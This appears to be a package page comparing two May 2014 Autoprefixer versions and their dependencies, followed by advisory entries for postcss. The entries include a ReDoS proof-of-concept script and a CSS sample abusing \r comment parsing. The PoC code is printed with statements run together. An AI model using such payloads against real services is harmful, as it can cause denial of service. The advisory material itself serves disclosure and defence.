Autoprefixer, a vital tool for web developers ensuring cross-browser compatibility, saw a subtle but important update between versions 1.1.20140521 and 1.1.20140523. Both versions, released in May 2014, parse CSS and automatically add vendor prefixes, streamlining the development process and saving developers valuable time by leveraging data from the "Can I Use" website. The core functionality remains consistent: automatically handling vendor prefixes for CSS rules, a persistent need for front-end development.
However, a key difference lies in the updated dependencies. The newer version, 1.1.20140523, moves from fs-extra ~0.8.1 to fs-extra ~0.9.1. This is likely an update to a file system utility library. While the use of fs-extra is internal, developers indirectly benefit if the update includes performance enhancements, bug fixes, or security improvements within file system operations performed by Autoprefixer during CSS processing. Both versions rely on postcss ~0.3.4 for CSS parsing, suggesting stability in the core parsing engine. The development dependencies, including testing frameworks and preprocessors such as Nib, Mocha, Should, Stylus, Browserify, and Coffee-Script, remain identical, hinting that the development and testing environment stayed consistent between these minor revisions. Ultimately, the update represents a refinement focusing on dependency management.
All the vulnerabilities related to the version 1.1.20140523 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.